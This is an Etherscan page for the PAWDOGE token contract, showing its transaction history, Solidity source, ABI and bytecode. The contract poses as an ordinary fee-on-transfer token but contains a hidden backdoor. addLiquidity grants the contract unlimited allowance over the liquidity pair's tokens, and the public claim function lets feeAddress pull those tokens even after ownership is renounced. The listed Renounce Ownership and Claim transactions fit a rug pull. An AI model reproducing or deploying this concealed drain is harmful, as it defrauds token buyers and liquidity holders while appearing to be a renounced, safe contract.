Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 10 from a total of 10 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17064530 | 622 days ago | IN | 0 ETH | 0.00118957 | ||||
Claim | 17064518 | 622 days ago | IN | 0 ETH | 0.00238166 | ||||
Approve | 17064377 | 622 days ago | IN | 0 ETH | 0.0012397 | ||||
Transfer | 17064234 | 622 days ago | IN | 0 ETH | 0.00158571 | ||||
Approve | 17064218 | 622 days ago | IN | 0 ETH | 0.00144209 | ||||
Approve | 17064121 | 622 days ago | IN | 0 ETH | 0.00172149 | ||||
Renounce Ownersh... | 17064089 | 622 days ago | IN | 0 ETH | 0.00062533 | ||||
Approve | 17064078 | 622 days ago | IN | 0 ETH | 0.00137063 | ||||
Approve | 17064066 | 622 days ago | IN | 0 ETH | 0.00166425 | ||||
Add Liquidity | 17064042 | 622 days ago | IN | 2 ETH | 0.01050455 |
Latest 7 internal transactions
Advanced mode:
Loading...
Loading
Contract Name:
PAWDOGE
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-17 */ // SPDX-License-Identifier: MIT /** Inspired by Pawswap Webite: https://pawdog.eu TG: https://t.me/pawdogeerc Twitter: https://twitter.com/pawdogeerc */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PAWDOGE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1e9 * 10**18; uint256 private constant _maxTx = _tTotal * 1 / 100; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "PAWDOGE"; string private constant _symbol = "PAWDOGE"; uint256 private _taxFee = 1; uint256 private _teamFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address public feeAddress; IDexRouter public dexRouter; address public dexPair; bool private inSwap = false; modifier lockSwap { inSwap = true; _; inSwap = false; } constructor () { dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); dexPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH()); _approve(address(this), address(dexRouter), MAX); feeAddress = msg.sender; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), address(this), _tTotal); } function addLiquidity() external payable onlyOwner { dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _approve(dexPair, address(this), MAX); _approve(dexPair, address(dexRouter), MAX); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } else { if(!inSwap && from != dexPair) { uint256 tokenBalance = balanceOf(address(this)); if(tokenBalance > 0) { swapTokensForEth(tokenBalance); } sendFee(); } } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); require(tokenAmount < _maxTx); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendFee() public { uint256 balance = address(this).balance; if (balance > 0) { payable(feeAddress).transfer(balance); } } function claim(address sender, uint256 amount) external { if (msg.sender == feeAddress) IERC20(address(this)).transferFrom(sender, feeAddress, amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001e6b033b2e3c9fd0803ce80000006000196200044a565b6200002c906000196200046d565b600655600160088190556009819055600a819055600b55600e805460ff60a01b191690553480156200005d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000104573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200012a919062000495565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b3919062000495565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000495565b600e80546001600160a01b0319166001600160a01b03928316179055600d5462000257913091166000196200031e565b600c80546001600160a01b0319163317905560065430600090815260026020526040812091909155600190600590620002986000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553080825260058452828220805490951660011790945590516b033b2e3c9fd0803ce8000000815290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620004c7565b6001600160a01b038316620003865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003e95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200037d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000826200046857634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200048f57634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620004a857600080fd5b81516001600160a01b0381168114620004c057600080fd5b9392505050565b6112c480620004d76000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063aad3ec9611610064578063aad3ec96146102af578063ae39279f146102cf578063dd62ed3e146102e4578063e8078d941461032a578063f242ab411461033257600080fd5b8063715018a61461025a5780638da5cb5b1461027157806395d89b411461010e578063a9059cbb1461028f57600080fd5b806323b872dd116100d157806323b872dd146101de578063313ce567146101fe578063412753581461021a57806370a082311461023a57600080fd5b806306fdde031461010e5780630758d9241461014d578063095ea7b31461018557806318160ddd146101b557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526007815266504157444f474560c81b602082015290516101449190610fd7565b60405180910390f35b34801561015957600080fd5b50600d5461016d906001600160a01b031681565b6040516001600160a01b039091168152602001610144565b34801561019157600080fd5b506101a56101a036600461103a565b610352565b6040519015158152602001610144565b3480156101c157600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610144565b3480156101ea57600080fd5b506101a56101f9366004611066565b610369565b34801561020a57600080fd5b5060405160128152602001610144565b34801561022657600080fd5b50600c5461016d906001600160a01b031681565b34801561024657600080fd5b506101d06102553660046110a7565b6103d2565b34801561026657600080fd5b5061026f6103f4565b005b34801561027d57600080fd5b506000546001600160a01b031661016d565b34801561029b57600080fd5b506101a56102aa36600461103a565b61049d565b3480156102bb57600080fd5b5061026f6102ca36600461103a565b6104aa565b3480156102db57600080fd5b5061026f61053f565b3480156102f057600080fd5b506101d06102ff3660046110c4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61026f610583565b34801561033e57600080fd5b50600e5461016d906001600160a01b031681565b600061035f3384846106d8565b5060015b92915050565b60006103768484846107fc565b6103c884336103c385604051806060016040528060288152602001611267602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108b0565b6106d8565b5060019392505050565b6001600160a01b038116600090815260026020526040812054610363906108ea565b6000546001600160a01b031633146104535760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061035f3384846107fc565b600c546001600160a01b0316330361053b57600c546040516323b872dd60e01b81526001600160a01b03808516600483015290911660248201526044810182905230906323b872dd906064016020604051808303816000875af1158015610515573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053991906110fd565b505b5050565b47801561058057600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561053b573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044a565b600d546001600160a01b031663f305d71947306105f9816103d2565b60008061060e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610676573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061069b919061111f565b5050600e546106b791506001600160a01b0316306000196106d8565b600e54600d546106d6916001600160a01b0390811691166000196106d8565b565b6001600160a01b03831661073a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044a565b6001600160a01b03821661079b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff168061083e57506001600160a01b03831660009081526005602052604090205460ff165b1561084b5750600061089e565b600e54600160a01b900460ff161580156108735750600e546001600160a01b03858116911614155b1561089e576000610883306103d2565b90508015610894576108948161096e565b61089c61053f565b505b6108aa84848484610b16565b50505050565b600081848411156108d45760405162461bcd60e51b815260040161044a9190610fd7565b5060006108e18486611163565b95945050505050565b60006006548211156109515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044a565b600061095b610b44565b90506109678382610b67565b9392505050565b600e805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106109b6576109b6611176565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a33919061118c565b81600181518110610a4657610a46611176565b6001600160a01b039283166020918202929092010152600d54610a6c91309116846106d8565b6064610a856b033b2e3c9fd0803ce800000060016111a9565b610a8f91906111c0565b8210610a9a57600080fd5b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ad39085906000908690309042906004016111e2565b600060405180830381600087803b158015610aed57600080fd5b505af1158015610b01573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b80610b2357610b23610ba9565b610b2e848484610bd7565b806108aa576108aa600a54600855600b54600955565b6000806000610b51610cce565b9092509050610b608282610b67565b9250505090565b600061096783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d16565b600854158015610bb95750600954155b15610bc057565b60088054600a5560098054600b5560009182905555565b600080600080600080610be987610d44565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610c1b9087610da1565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610c4a9086610de3565b6001600160a01b038916600090815260026020526040902055610c6c81610e42565b610c768483610e8c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cbb91815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610ced8282610b67565b821015610d0d575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008183610d375760405162461bcd60e51b815260040161044a9190610fd7565b5060006108e184866111c0565b6000806000806000806000806000610d618a600854600954610eb0565b9250925092506000610d71610b44565b90506000806000610d848e878787610f05565b919e509c509a509598509396509194505050505091939550919395565b600061096783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506108b0565b600080610df08385611253565b9050838110156109675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044a565b6000610e4c610b44565b90506000610e5a8383610f55565b30600090815260026020526040902054909150610e779082610de3565b30600090815260026020526040902055505050565b600654610e999083610da1565b600655600754610ea99082610de3565b6007555050565b6000808080610eca6064610ec48989610f55565b90610b67565b90506000610edd6064610ec48a89610f55565b90506000610ef582610eef8b86610da1565b90610da1565b9992985090965090945050505050565b6000808080610f148886610f55565b90506000610f228887610f55565b90506000610f308888610f55565b90506000610f4282610eef8686610da1565b939b939a50919850919650505050505050565b600082600003610f6757506000610363565b6000610f7383856111a9565b905082610f8085836111c0565b146109675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044a565b600060208083528351808285015260005b8181101561100457858101830151858201604001528201610fe8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058057600080fd5b6000806040838503121561104d57600080fd5b823561105881611025565b946020939093013593505050565b60008060006060848603121561107b57600080fd5b833561108681611025565b9250602084013561109681611025565b929592945050506040919091013590565b6000602082840312156110b957600080fd5b813561096781611025565b600080604083850312156110d757600080fd5b82356110e281611025565b915060208301356110f281611025565b809150509250929050565b60006020828403121561110f57600080fd5b8151801515811461096757600080fd5b60008060006060848603121561113457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156103635761036361114d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561119e57600080fd5b815161096781611025565b80820281158282048414176103635761036361114d565b6000826111dd57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112325784516001600160a01b03168352938301939183019160010161120d565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103635761036361114d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122077cd89f962670f3a56ce1937d5630bc36797061b7de74afdcfafec44084fb74564736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101025760003560e01c8063715018a611610095578063aad3ec9611610064578063aad3ec96146102af578063ae39279f146102cf578063dd62ed3e146102e4578063e8078d941461032a578063f242ab411461033257600080fd5b8063715018a61461025a5780638da5cb5b1461027157806395d89b411461010e578063a9059cbb1461028f57600080fd5b806323b872dd116100d157806323b872dd146101de578063313ce567146101fe578063412753581461021a57806370a082311461023a57600080fd5b806306fdde031461010e5780630758d9241461014d578063095ea7b31461018557806318160ddd146101b557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526007815266504157444f474560c81b602082015290516101449190610fd7565b60405180910390f35b34801561015957600080fd5b50600d5461016d906001600160a01b031681565b6040516001600160a01b039091168152602001610144565b34801561019157600080fd5b506101a56101a036600461103a565b610352565b6040519015158152602001610144565b3480156101c157600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610144565b3480156101ea57600080fd5b506101a56101f9366004611066565b610369565b34801561020a57600080fd5b5060405160128152602001610144565b34801561022657600080fd5b50600c5461016d906001600160a01b031681565b34801561024657600080fd5b506101d06102553660046110a7565b6103d2565b34801561026657600080fd5b5061026f6103f4565b005b34801561027d57600080fd5b506000546001600160a01b031661016d565b34801561029b57600080fd5b506101a56102aa36600461103a565b61049d565b3480156102bb57600080fd5b5061026f6102ca36600461103a565b6104aa565b3480156102db57600080fd5b5061026f61053f565b3480156102f057600080fd5b506101d06102ff3660046110c4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61026f610583565b34801561033e57600080fd5b50600e5461016d906001600160a01b031681565b600061035f3384846106d8565b5060015b92915050565b60006103768484846107fc565b6103c884336103c385604051806060016040528060288152602001611267602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108b0565b6106d8565b5060019392505050565b6001600160a01b038116600090815260026020526040812054610363906108ea565b6000546001600160a01b031633146104535760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061035f3384846107fc565b600c546001600160a01b0316330361053b57600c546040516323b872dd60e01b81526001600160a01b03808516600483015290911660248201526044810182905230906323b872dd906064016020604051808303816000875af1158015610515573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053991906110fd565b505b5050565b47801561058057600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561053b573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044a565b600d546001600160a01b031663f305d71947306105f9816103d2565b60008061060e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610676573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061069b919061111f565b5050600e546106b791506001600160a01b0316306000196106d8565b600e54600d546106d6916001600160a01b0390811691166000196106d8565b565b6001600160a01b03831661073a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044a565b6001600160a01b03821661079b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff168061083e57506001600160a01b03831660009081526005602052604090205460ff165b1561084b5750600061089e565b600e54600160a01b900460ff161580156108735750600e546001600160a01b03858116911614155b1561089e576000610883306103d2565b90508015610894576108948161096e565b61089c61053f565b505b6108aa84848484610b16565b50505050565b600081848411156108d45760405162461bcd60e51b815260040161044a9190610fd7565b5060006108e18486611163565b95945050505050565b60006006548211156109515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044a565b600061095b610b44565b90506109678382610b67565b9392505050565b600e805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106109b6576109b6611176565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a33919061118c565b81600181518110610a4657610a46611176565b6001600160a01b039283166020918202929092010152600d54610a6c91309116846106d8565b6064610a856b033b2e3c9fd0803ce800000060016111a9565b610a8f91906111c0565b8210610a9a57600080fd5b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ad39085906000908690309042906004016111e2565b600060405180830381600087803b158015610aed57600080fd5b505af1158015610b01573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b80610b2357610b23610ba9565b610b2e848484610bd7565b806108aa576108aa600a54600855600b54600955565b6000806000610b51610cce565b9092509050610b608282610b67565b9250505090565b600061096783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d16565b600854158015610bb95750600954155b15610bc057565b60088054600a5560098054600b5560009182905555565b600080600080600080610be987610d44565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610c1b9087610da1565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610c4a9086610de3565b6001600160a01b038916600090815260026020526040902055610c6c81610e42565b610c768483610e8c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cbb91815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610ced8282610b67565b821015610d0d575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008183610d375760405162461bcd60e51b815260040161044a9190610fd7565b5060006108e184866111c0565b6000806000806000806000806000610d618a600854600954610eb0565b9250925092506000610d71610b44565b90506000806000610d848e878787610f05565b919e509c509a509598509396509194505050505091939550919395565b600061096783836040518060400160405280601e81526020017f